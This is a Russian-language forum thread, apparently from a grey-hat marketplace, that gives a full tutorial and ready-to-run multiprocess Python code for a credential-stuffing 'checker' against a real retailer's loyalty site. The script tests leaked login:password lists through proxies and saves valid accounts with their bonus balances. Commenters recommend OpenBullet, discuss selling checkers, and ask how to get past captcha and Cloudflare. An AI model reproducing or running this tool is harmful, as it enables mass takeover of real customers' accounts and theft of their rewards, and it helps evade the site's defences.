Загрузка...
How to write your own checker, complete guide
May 31, 2020
AIexa
68,109
221
  1. AIexa
    AIexa Topic starter May 31, 2020 Лучший софт - lolz.live/threads/1634798/ :+rep: 12,357 Mar 24, 2020
    В этой статье рассказывается и показывается как написать свой чекер, что для этого нужно и откуда это достать

    Для
    начала работы нам понадобится


    1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
    https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
    2)Если вы захотите на примере это статьи писать свой чекер на другой сайт, нужный вам, тогда вам понадобится среда разработки,
    для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
    https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC

    Я буду показывать как написать чекер на примере сайта спара, на нем нету капчи и он не банит за спам


    Первым делом нам нужен валидный аккаунт на сайте спара
    идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
    переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
    что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида
    [IMG]
    AUTH_FORM: Y
    TYPE: AUTH
    backurl: /local/ajax/user/auth/
    USER_LOGIN: 899999999
    username: 899999999
    USER_PASSWORD: password123
    USER_REMEMBER: Y
    Login: Y


    жмем на кнопку view source и копируем строчку
    AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y

    Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте
    [IMG]

    открываем в консоли html и копируем строчку с бонусами
    [IMG]
    <span class="header-control__text-desc">8 бонусов</span>

    Теперь мы можем идти в Pycharm и начинать писать код
    Запускаем среду и жмем Create new project

    [IMG]

    После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

    [IMG]

    Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

    [IMG]

    Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

    [IMG]

    Первое что нам нужно сделать импортировать нужные библиотеки для работы

    Python
    import requests
    from multiprocessing import Process, Queue, Value
    Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
    Вторая библиотека нужна для потоков

    Начинаем писать скрипт

    Python
    if __name__ == "__main__":
    count = 100 #Количество потоков
    queue = Queue() #очередь откуда будут браться данные для наших потоков

    Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы

    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()

    Теперь в нашу очередь загружены наши строки
    Запускаем наши потоки

    Python
     for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close() #Закрываем очередь
    Теперь напишем функцию чека для наших потоков

    Python
    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')

    user_login = logPass[0]
    user_pass = logPass[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    continue
    except:
    continue
    Что мы здесь делаем.
    1) Передаем в фунцию нашу очередь со строками
    2)Разбиваем строку и вырезаем символ переноса строки "\n"
    Python
            line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')
    3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль
    4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
    Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
    не дадут залогинится
    5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
    6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
    в текстовик
    7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой

    Как только очередь опустеет потоки поочередно закончат свою работу

    Если вы хотите использовать ****** в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом
    и передавайте их потокам
    Python
        myProxies = {"https://223.241.2.199:4216"}
    s.get("https://myspar.ru/personal/", proxies=myProxies)
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)

    На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:

    Phone: 8999999999
    Password: password123
    Bonuses: 233 бонуса

    Для ленивых
    Python
    import requests
    from multiprocessing import Process, Queue, Value
    import re
    import sys




    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    if ':' in line:
    c = line.split(':')
    if ';' in line:
    c = line.split(';')

    user_login = c[0]
    user_pass = c[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    s.close()
    continue
    except:
    continue

    def createProc(queue, count):
    for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close()

    if __name__ == "__main__":
    count = 100
    queue = Queue()
    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()
    createProc(queue, count)
    print("Запускается", count," потоков")

    #МояСтатья
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
    1. UMBRELLA_CORP
      AIexa, Ништяк - красавчик :sigma:

Comments

    1. billiedark
      billiedark May 31, 2020 разработка на заказ: lolz.live/threads/8957669/ 2296 Dec 7, 2018
      В целом статья годная, но видел на других ресурсах, мог бы над оформлением темы поработать хотябы :)
       
      1. AIexa Topic starter
        billiedark, я старался)))))))))) дезигнером мне не быть))
        Тема полностью моя и в ней нету ни слова копипаста или рерайта
      2. AIexa Topic starter
        billiedark, итак 3 часа потратил
      3. Kastiell1812
        billiedark, он и так всё хорошо обьяснил
    2. SERG39
      SERG39 May 31, 2020 Вот бы спонсора для розыгрыша :/ 160 Mar 22, 2018
      Лень читать, но так годно. Авторку этому молодому человеку:2011_like:
      The post was merged to previous May 31, 2020
      Напиши еще как использовать антикапчу, для стима например
       
      1. View previous comments (3)
      2. mammothclanc
        SanyFake, изучал эту тему? не против обсудить в лс?
      3. ProtocoI
        SERG39, дождался ответа все таки хахахахахха
      4. SERG39
        SanyFake, спаисибо за оперативный ответ <3
    3. Ignat2003
      Ignat2003 May 31, 2020 9 Apr 23, 2018
      Реально годный гайд, даже появилась мотивация изучить питон, я думал что для написания такого подобного чекера нужно днями напролет писать код, а тут дело часа. Если бы я мог кинуть симпу - я бы кинул. Респект!
       
      1. i7h6si4pah1
        Ignat2003, ну, как бы так и есть, это по гайду ты слёту можешь написать, а если с 0 сядешь, то не поймёшь, откуда подступиться, знаний много не надо, но нужно набираться опыта.
    4. anefe
      anefe Jun 1, 2020 Banned 401 Oct 28, 2017
      1. Спасибо, что различаешь ****/чекеры(наверное)
      2.Зачем if __name__ == "__main__" не такой уровень проекта
      3. Много кода мало объяснений
       
      1. View previous comments (2)
      2. AIexa Topic starter
        anefe, код максимально упрощен для тех кто не особо в теме
      3. anefe
        Оказывается питон настолько умен, что можно я даже не закрывать файлы для записи. Ошибки возникать не должно:roflanPoker::facepalm:
      4. gotcum
        anefe, он закрыыается после записи , открыт с помощью оператора with
    5. яЕмДеТеЙ
      яЕмДеТеЙ Jun 13, 2020 Вызов сатаны скоро загрузится... ************] 99%
      Благодарю, кстати есть конструктор чекера/****ера бесплатный (OpenBullet) , я понимаю ТС показал на примере как с 0 без помощи стороних софтов ( кроме официал питона и среды разработки ), накодить чекер, но вдруг кому интересно, я выше написал, смысл тот же, даже метод, просто в сам софт пихаете шаг за шагом, что ТС показывает, и кодите, и потом или продаете, или юзаете сами. В любом случае, статья шикарная. + в репу улетело
       
    6. DIDUK
      DIDUK Dec 13, 2021 266 Nov 24, 2020
      [IMG] У меня такая проблема, чтобы получить токен для авторизации, нужно нажать на форму на сайте, и только тогда появляется token, как это реализовать(webdriver не предлагать)
       
      1. Adamantium
        DIDUK, могу помочь, там нужно js чекать
      2. DIDUK
        Adamantium, Да я тогда не знал, что такое captha), теперь знаю, могу сам спокойно обойти
    7. Crakers
      Crakers Dec 18, 2021 Живой 371 Jun 7, 2020
      было бы проще установить модули через cmd, написал бы команды, только вставить оставалось
       
    8. parodiathe
      как сделать что бы он проверял аккаунты с txt, или куда их вообще нужно вставлять?
       
    9. liffe1one
      liffe1one May 3, 2022 107 Apr 8, 2020
      лучший, автор просто лучший. я начинающий питонист и мне очень интересно было разбирать код, но хотелось бы, чтобы в коде были комментарии, которые объясняют суть какого-либо кусочка кода. а так - статья пушка
       
    10. fgiiindko
      fgiiindko May 22, 2022 Banned 693 Feb 4, 2022
      Ахуенно, делай еще подобные статьи, кратко и по делу. А то без штудирования всего ютуба и варки в этом дерьме, хуй найдешь нужную инфу
       
    11. Осанка
      Осанка May 22, 2022 702 Apr 16, 2019
      [IMG]
      [IMG]
      Спрашивается, нафига? =)
       
      1. AIexa Topic starter
        Осанка, 2 года, мне тогда казалось что так прикольнее
      2. Amkaaa
    12. Batard
      Batard May 25, 2022 1 May 20, 2022
      Подробно описано, что +. Опробую на днях на базах других сайтов и отпишу… {:
       
    13. coolmikss
      coolmikss May 25, 2022 1 Nov 22, 2018
      1. Neizy
        coolmikss, статья 20 года, удали комментарий, не позорься
    14. PRIMred
      PRIMred May 26, 2022 0 Nov 22, 2018
      Ну вот все рассказали показали — есть теперь кто сможет ЧЕКЕР на заказ сделать? Живой акк есть. Моб-АРР в сервисе нет, но есть две Captcha и злой Cloudflare. Если есть желание пишите в личку.
       
    15. quosx
      quosx May 26, 2022 6 Dec 23, 2019
      Библиотека multiprocessing нужна для процессов а не потоков. Для работы с потоками есть threading, хотя даже и это сложно назвать потоками, ибо у питона есть всем известный локер(gil), а muliprocessing это очень прожорливое дело, потому что создаётся ещё один процесс программы по сути, и кушает ваши мощности ещё один интерпретатор питона. Очень неграмотное использование библиотеки. А в остальном все норм.
       
      1. AIexa Topic starter
        quosx, локер(gil) а в процессах нет, все выше идет в пезду, спасибо за внимание
    16. Shadowraze
      Shadowraze May 26, 2022 682 Jul 15, 2018
      Хз за че тут авторку дали, хоть треду и 2 года. Называть это "полным гайдом" сложно, нет пояснений к коду, нет пояснений к полям в запросах. Код тоже не очень хорошо написан, мог хотя бы сессию открыть и заголовки выставить, если уж ты аффторскую статью пишешь. P/s сверху чел тоже вещь сказал, очереди и потоки кардинально различаются.
       
    17. Кунилингвист
      Отличный гайд. Все расписано.
      Вопрос.
      Это можно адаптировать абсолютно под любой сайт/центр, получается?
      Не силен в этом (по факту - 0).
      Пойду попробую сделать свой первый недочекер)
       
      1. AIexa Topic starter
        Кунилингвист, тут показаны общие вещи и примерно как надо чего делать, когда делаешь чекер
    18. Камильооо
      а куда данные от аккаунта вписывать?
       
    19. СТОМАТОЛОГИЧКА
      Давно искал как грамотно реализовать многопоточность, очень познавательная статья!:BrainCosmic:
       
Top
Loading...